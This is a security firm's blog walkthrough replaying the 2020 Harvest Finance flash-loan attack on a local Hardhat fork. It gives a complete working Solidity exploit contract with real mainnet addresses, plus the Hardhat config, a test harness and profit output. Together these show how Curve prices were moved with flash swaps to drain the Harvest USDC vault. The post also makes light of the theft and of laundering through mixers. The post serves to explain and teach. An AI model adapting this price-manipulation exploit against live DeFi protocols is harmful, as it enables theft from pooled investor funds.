How to hack Harvest Finance for $24M on your local machine

Elhanan Ballas
Ginger Security
Published in
12 min readNov 27, 2022

TLDR

1. Someone stole $24M in 7 minutes from Harvest Finance vault.

2. They only stopped because they got bored, could have drained a lot more.

3. Flash swaps and bad contracts are a deadly combo.

4. I’m going to show you how you can replay the attack yourself with Hardhat and some basic Solidity code, step-by-step.

So what happened?

As die-hard crypto fans, we’ve all heard a fair share of DeFi hacks over the past 3–4 years. As DeFi is trying to overhaul a cranky global financial system, it’s exposing its own set of vulnerabilities and boostrap hiccups like you’d expect any new industry to. Some clever degens are waiting on the fence for such opportunities to sneak out some cash. Sometimes a lot, like in this Harvest Finance hack we’re going to talk about — $24 million. In 7 minutes. Yeah, you get that cleaned up and you’ll never need to fly economy again.

Let’s introduce Harvest Finance first. Harvest Finance is a DeFi yield aggregator and in 2020 those was all the rage. The way it works is that users “invest” their money in a vault, and through DeFi magic the Harvest team manipulates the funds to drive back huge returns, often 20%, 50% or 80% APY. At the time of the attack, Harvest was managing $1 billion in funds.

All felt safe and sound until 26 October 2020, when an unknown attacker took advantage of a loophole in one of Harvest’s mechanisms to sneak out $24 million in stablecoins. The attacker could have gotten away with a lot more, but seems like they just wanted to prove a point and get back to their business. They even threw some scraps ($2.4 million) back to the developers as tip. What a mensch, nice gesture there.

Harvest Finance and Curve — A dangerous relationship

So Harvest Finance is trying to make money for its investors. One of its strategies was to take the investors’ stablecoins, USDT and USDC, and deposit them in the Curve liquidity pool. A liquidity pool rewards its liquidity providers automatically with transaction fees it earns from users, who come to Curve to exchange crypto coins at attractive prices. Easy money for a “safe” stablecoin investment (UST step aside, we’re trying to pretend you didn’t happen), and one that Harvest was happy about.

Each user’s share of the pie is computed at the beginning. So think about it this way — when a user deposits money in Harvest, they’re being allocated a percentage of the total funds available. If they invest $20 to put the total funds at $100, they’ll be worth 20% of the whole pot. When Harvest earns another $100 to bring the total funds to $200 and the investor wants to pull out, they’ll take $40 with them — their money + another $20 from the yields. Makes sense right?

Harvest Finance investing stablecoins via Curve strategy

And that next step is where Harvest made its costly mistake. In order to do the yield-allocation math for its investors, Harvest needs to check in real time what the current prices of all of its cryptocoins are at. Harvest used Curve pricing information to calculate that. It doesn’t sound too bad given that Curve is one of the largest stablecoin liquidity pools out there. But if just in theory, someone could find a way to manipulate prices to be higher upon deposit (so they can have a higher allocation) and then lower when they want to withdraw the money (to claim a bigger share of the pie), that difference is pure money going to their packet. Essentially, the difference earned is money stolen from the collective fund of all of Harvest’s investors. Ouch.

How about an example

Sure. Let’s say we got a fund with TokenA and TokenB:

1. 1 TokenA = 1% of the pool, 1 TokenB = 1% of the pool.

2. I hyped up TokenB on Twitter and everyone believes it’s the next Dogecoin, so its price increased and now every TokenB is worth 1.5% of the pool.

3. I deposited 10 new TokenB coins to own 15% of the pool.

4. Everybody realized TokenB is a scam and it goes back down again to become equal in value to TokenA.

5. I now want to claim my 15% of the pool — but now when I ask that from the fund manager, they hand me back 15 TokenB coins. That’s 5 more TokenB coins than I started with ;)

The price manipulation in step #2 is what caused the Harvest Finance hack to work. Replace TokenA and TokenB with the USDC and USDT stablecoins, the percentage claim with Harvest’s LP tokens and you got yourself a working example.

Hacker, what did you do there?

To begin with, the hacker packed up two piles of money: One pile for Curve and one for Harvest.

Curve pile = ~$18 million. Its goal is to be swapped back and forth on Curve to cause the USDC price surge and drop. Harvest relies on the pricing information on Curve, and so those price fluctuations will enable the hacker to claim more money than they initially deposited (the final step of the example above).

Harvest = $50 million. It’ll be deposited when the USDC price is high, and withdrawn when it’s low. The bigger this pile, the bigger the profits from the stunt.

Wealthy hacker, where did they get all of their coins to play this game? “Flash swaps” to the rescue 😎. Created to democratize arbitrage, they’re responsible for a nice amount of crypto hacks out there.

Fortunately for both the attacker and the spirit of egalitarianism, they didn’t actually need to have this money to pull off the attack. Thanks to “flash loans”, this attacker was able to go in with only 10 Ether (~US$4,000) to pay for gas, before walking away with $24 million at the end.

Let’s follow the hacker — Step-by-step

Within 7 minutes, the hacker unleashed this magic:

1. Take out a flash loan of 18.3 million USDT and 50 million USDC.

2. Convert 17.2 million USDT into USDC on Curve, pushing up Curve’s USDC prices.

3. Deposit 50 million USDC into Harvest, and receive in exchange 51.5 million shares (known as fUSDC). More shares as the price of USDC is now higher.

4. Convert the USDC back into USDT on Curve, bringing prices back down. Now USDC = USDT = $1.

5. Exchange the 51.5 fUSDC shares back in Harvest for 50.6 million USDC at the new regular rates.

And now rinse and repeat to drain $24 million out of the communal fund 🤑.

Attack flow, step-by-step

Let’s code it!

Time to push out the gloves and get to work. The Harvest code was cleaned up since, so fetch your time machine from the garage and rewind to block #11129473 on Ethereum, when people were still riding horses with carts in the Crypto wild west.

Make sure you have:

1. hardhat installed

2. ethers installed

3. API key from Alchemy (read here to get yourself a free API key)

You can configure it most simply in Hardhat via hardhat.config.js:

require("@nomiclabs/hardhat-waffle");

/**
* @type import('hardhat/config').HardhatUserConfig
*/
module.exports = {
solidity: "0.8.1",
defaultNetwork: "hardhat",
networks: {
hardhat: {
forking: {
url: "https://eth-mainnet.g.alchemy.com/v2/XXX",
blockNumber: 11129473
}
}
},
mocha: {
timeout: 100000000
}
};

Notice that we’re specifying a high timeout test going to run the exploit as a Hardhat test (on top of Mocha), and since it sometimes times out it’s best to specify a high timeout there.

Create a test directory in the source folder of your project. Inside it, prepare a test.js file that’ll contain the function to execute the contract with the exploit:

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("HarvestFinance", function () {
it("Run HarvestFinance exp", async function () {
const Contract = await ethers.getContractFactory("HarvestFinanceExp");
const contract = await Contract.deploy();
await contract.deployed();
await contract.runExploit();
});
});

So now we got the infrastucture down. A test wraps our functionality, the contract implements the exploit. But how does this whole work then?

Let’s see the full code first:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.1;

import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "./interfaces/interface.sol";

contract HarvestFinanceExp {
// CONTRACTS
// Uniswap ETH/USDC LP (UNI-V2)
IUniswapV2Pair usdcPair =
IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
// Uniswap ETH/USDT LP (UNI-V2)
IUniswapV2Pair usdtPair =
IUniswapV2Pair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
// Curve y swap
IcurveYSwap curveYSwap =
IcurveYSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
// Harvest USDC pool
IHarvestUsdcVault harvest =
IHarvestUsdcVault(0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE);

// ERC20s
// 6 decimals on usdt
IUSDT usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
// 6 decimals on usdc
IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
// 6 decimals on yusdc
IERC20 yusdc = IERC20(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
// 6 decimals on yusdt
IERC20 yusdt = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
// 6 decimals on fUSDT
IERC20 fusdt = IERC20(0x053c80eA73Dc6941F518a68E2FC52Ac45BDE7c9C);
// 6 decimals on fUSDC
IERC20 fusdc = IERC20(0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE);

uint256 usdcLoan = 50000000 * 10**6;
uint256 usdcRepayment = (usdcLoan * 100301) / 100000;
uint256 usdtLoan = 17300000 * 10**6;
uint256 usdtRepayment = (usdtLoan * 100301) / 100000;
uint256 usdcBal;
uint256 usdtBal;

function runExploit() public {
usdt.approve(address(curveYSwap), type(uint256).max);
usdc.approve(address(curveYSwap), type(uint256).max);
usdc.approve(address(harvest), type(uint256).max);
usdt.approve(address(usdtPair), type(uint256).max);
usdc.approve(address(usdcPair), type(uint256).max);
console.log(
"Before exploitation, USDC balance of attacker:",
usdc.balanceOf(address(this)) / 1e6
);
console.log(
"Before exploitation, USDT balance of attacker:",
usdt.balanceOf(address(this)) / 1e6
);
usdcPair.swap(usdcLoan, 0, address(this), "0x");

console.log(
"After exploitation, USDC balance of attacker:",
usdc.balanceOf(address(this)) / 1e6
);
console.log(
"After exploitation, USDT balance of attacker:",
usdt.balanceOf(address(this)) / 1e6
);
}

function uniswapV2Call(
address,
uint256,
uint256,
bytes calldata
) external {
if (msg.sender == address(usdcPair)) {
console.log(
"Flashswap, Amount of USDC received:",
usdc.balanceOf(address(this)) / 1e6
);
usdtPair.swap(0, usdtLoan, address(this), "0x");
bool usdcSuccess = usdc.transfer(address(usdcPair), usdcRepayment);
}

if (msg.sender == address(usdtPair)) {
console.log(
"Flashswap, Amount of USDT received:",
usdt.balanceOf(address(this)) / 1e6
);
for (uint256 i = 0; i < 6; i++) {
theSwap(i);
}
usdt.transfer(msg.sender, usdtRepayment);
}
}

function theSwap(uint256 i) internal {
curveYSwap.exchange_underlying(2, 1, 17200000 * 10**6, 17000000 * 10**6);
harvest.deposit(49000000000000);
curveYSwap.exchange_underlying(1, 2, 17310000 * 10**6, 17000000 * 10**6);
harvest.withdraw(fusdc.balanceOf(address(this)));
console.log(
"After swap, USDC balance of attacker:",
usdc.balanceOf(address(this)) / 1e6
);
console.log(
"After swap, USDT balance of attacker:",
usdt.balanceOf(address(this)) / 1e6
);
}

receive() external payable {}
}

Let’s break the code up, piece by piece

Not too much code, but definitely worth explaining part by part.

The interface.sol file at the beginning doesn’t matter much, it contains basic interfaces to pairs like USDC/USDT, and the Curve and Harvest contracts.

You can see the exploit preparing the two bags of money in the contract headers:

...
uint256 usdcLoan = 50000000 * 10**6;
uint256 usdcRepayment = (usdcLoan * 100301) / 100000;
uint256 usdtLoan = 17300000 * 10**6;
uint256 usdtRepayment = (usdtLoan * 100301) / 100000;
...

The usdcLoan is the one that’ll be deposited to Harvest to claim more shares than we should be entitled to after increasing the USDC price on Curve.

Before that, the usdtLoan is the one that we’ll add to Curve to shape up prices. The two repayment variables, usdcRepayment and usdtRepayment are loan returns that we have to send back to the contract by the end of the transaction to repay our flash swaps. There’s a small 0.3% fee added to each repayment required in flash swaps (don’t worry we’re getting a bargain here, you’ll see).

Now let’s talk about runExploit. After basic approve calls, the juicy part begins at usdcPair.swap — we request a flash swap from the USDC-USDT pool of $50 million in USDC:

console.log(
"Before exploitation, USDT balance of attacker:",
usdt.balanceOf(address(this)) / 1e6
);
usdcPair.swap(usdcLoan, 0, address(this), "0x");
...

To those of you who aren’t familiar, that’s how the swap call works on UniSwap:

1. Ask for any amount of tokens in the first two parameters (parameters 1 and 2). In our case we’re just asking for usdcLoan, or $50 million, USDC tokens and no USDTs.

2. swap will invoke the callback function in parameter 3. When address(this) is specified, the callback will be uniswapV2Call in the same contract.

3. You only need to return the money after the transaction is over. So inside the callback, you can call more recursive swap calls, play with more money and do more actions, as long as all the money is repaid at the end. Sweet feature, ain’t it?

So we called the swap, got the $50 million to play with — and we now enter the callback function. uniswapV2Call is divided into two main parts:

function uniswapV2Call(
address,
uint256,
uint256,
bytes calldata
) external {
// Part 1
if (msg.sender == address(usdcPair)) {
...
}

// Part 2
if (msg.sender == address(usdtPair)) {
...
}
...
}

The first part is called from the usdcPair swap, which is what we just did. So we enter this function which just asks for the second bag of money (of USDTs) in a flash swap, and calls the uniswapV2Call callback again.

When called again, uniswapV2Call lands at the second part. This function stirs up the action — calls theSwap 6 times to get things started.

theSwap — The Promised Land

We got the money bag loans, and everything is set up for action. theSwap is the function that implements the actual hack, let’s see how:

function theSwap(uint256 i) internal {
curveYSwap.exchange_underlying(2, 1, 17200000 * 10**6, 17000000 * 10**6);
harvest.deposit(49000000000000);
curveYSwap.exchange_underlying(1, 2, 17310000 * 10**6, 17000000 * 10**6);
harvest.withdraw(fusdc.balanceOf(address(this)));
console.log(
"After swap, USDC balance of attacker:",
usdc.balanceOf(address(this)) / 1e6
);
console.log(
"After swap, USDT balance of attacker:",
usdt.balanceOf(address(this)) / 1e6
);
}

1. First, you can see the exploit exchanging USDTs (index 2) for USDCs (index 1) in the Curve Y pool. Adding USDTs and taking away USDCs from the pool automatically raises the price of USDC in the pool.

2. The harvest.deposit call with our $50 million bag of USDCs. The price of a share before the Curve attack was 0.980007 USDC, but at this point is at 0.97126080216 USDC per share and thus gets the attackers more fUSDC tokens from Harvest (see the transaction for reference). More fUSDCs = More USDCs that we can claim back later 😎. Notice that the difference between the USDC share prices is only ~1%, but at a $50 million deposit that’s a clean $0.5 million profit that the attacker will later be able to reclaim. Neat…

3. Next, we’re swapping back USDCs into USDTs to lower the USDC price on Curve.

4. Finally, withdraw all the fUSDCs stored in the contract to come out.

After one theSwap call we come out with easy wins. Change the i limit in the for loop for (uint256 i = 0; i < 6; i++) { to 1, and run npx hardhat test to simulate that:

➜  demo git:(main) ✗ npx hardhat test

HarvestFinance
Before exploitation, USDC balance of attacker: 0
Before exploitation, USDT balance of attacker: 0
Flashswap, Amount of USDC received: 50000000
Flashswap, Amount of USDT received: 17300000
After swap, USDC balance of attacker: 50198451
After swap, USDT balance of attacker: 17401411
After exploitation, USDC balance of attacker: 47951
After exploitation, USDT balance of attacker: 49338
✓ Run HarvestFinance exp (2231ms)

Notice that we actually get to keep some USDTs as well because we only deposit $49 million of the $50 million USDC loan, so we have some extra USDCs to cash in on USDTs. We gave up on some USDCs knowing that in the harvest.withdraw step we’ll claim them back with significant profits 😉.

Now take that process and repeat, say, 6 times? That’s already when the attacker started building up capital ($1.3 million combine of USDCs and USDTs below):

➜  demo git:(main) ✗ npx hardhat test

HarvestFinance
Before exploitation, USDC balance of attacker: 0
Before exploitation, USDT balance of attacker: 0
Flashswap, Amount of USDC received: 50000000
Flashswap, Amount of USDT received: 17300000
After swap, USDC balance of attacker: 50198451
After swap, USDT balance of attacker: 17401411
After swap, USDC balance of attacker: 50382639
After swap, USDT balance of attacker: 17502698
After swap, USDC balance of attacker: 50553220
After swap, USDT balance of attacker: 17603861
After swap, USDC balance of attacker: 50710849
After swap ,USDT balance of attacker: 17704900
After swap, USDC balance of attacker: 50856170
After swap ,USDT balance of attacker: 17805814
After swap, USDC balance of attacker: 50989818
After swap, USDT balance of attacker: 17906605
After exploitation, USDC balance of attacker: 839318
After exploitation, USDT balance of attacker: 554532
✓ Run HarvestFinance exp (5659ms)
✓ Run HarvestFinance exp (2231ms)

Without any timeout needed in between, the attacker executed this flow within 7 minutes to fetch $24 million, convert them to renBTC and run away through mixers to clean up the money and declare their freedom.

Wait, so you want to tell me Harvest didn’t put up any defences against arbitrage?

They did, but the city walls were’t high enough. Turns out Harvest are crude farmers after all, setting the arbitrage limit at 3% (see here in CRVStrategyStable.sol):

contract CRVStrategyStable is IStrategy, Controllable {
...

uint256 public arbTolerance = 3;

function depositArbCheck() public view returns(bool) {
uint256 currentPrice = underlyingValueFromYCrv(ycrvUnit);
if (currentPrice < curvePriceCheckpoint) {
return currentPrice.mul(100).div(curvePriceCheckpoint) > 100 - arbTolerance;
} else {
return currentPrice.mul(100).div(curvePriceCheckpoint) < 100 + arbTolerance;
}
}

As a reminder, the USDC price share increased by ~1% in Curve. So when Harvest fetched prices from Curve, no alarm was sounded and the attacker’s deposits and withdraws went smoothly.

Conclusion

Price manipulation and flash swaps or loans have become a recurring issue in DeFi land since being introduced a few years ago. As I’m writing this, it’s easy to notice that solutions to this problem really deserve a blog post of their own. They’re highly-dependent on the specific problem at hand, and simply “oracles” or lowering the arbitrage check aren’t a one-size-fits-all or necessarily cover all the edge cases.

Hope you enjoyed replaying the attack there and learning more about this sweet $24 million hack! Sigh, there ends yet another day in crypto world 😅…

--

--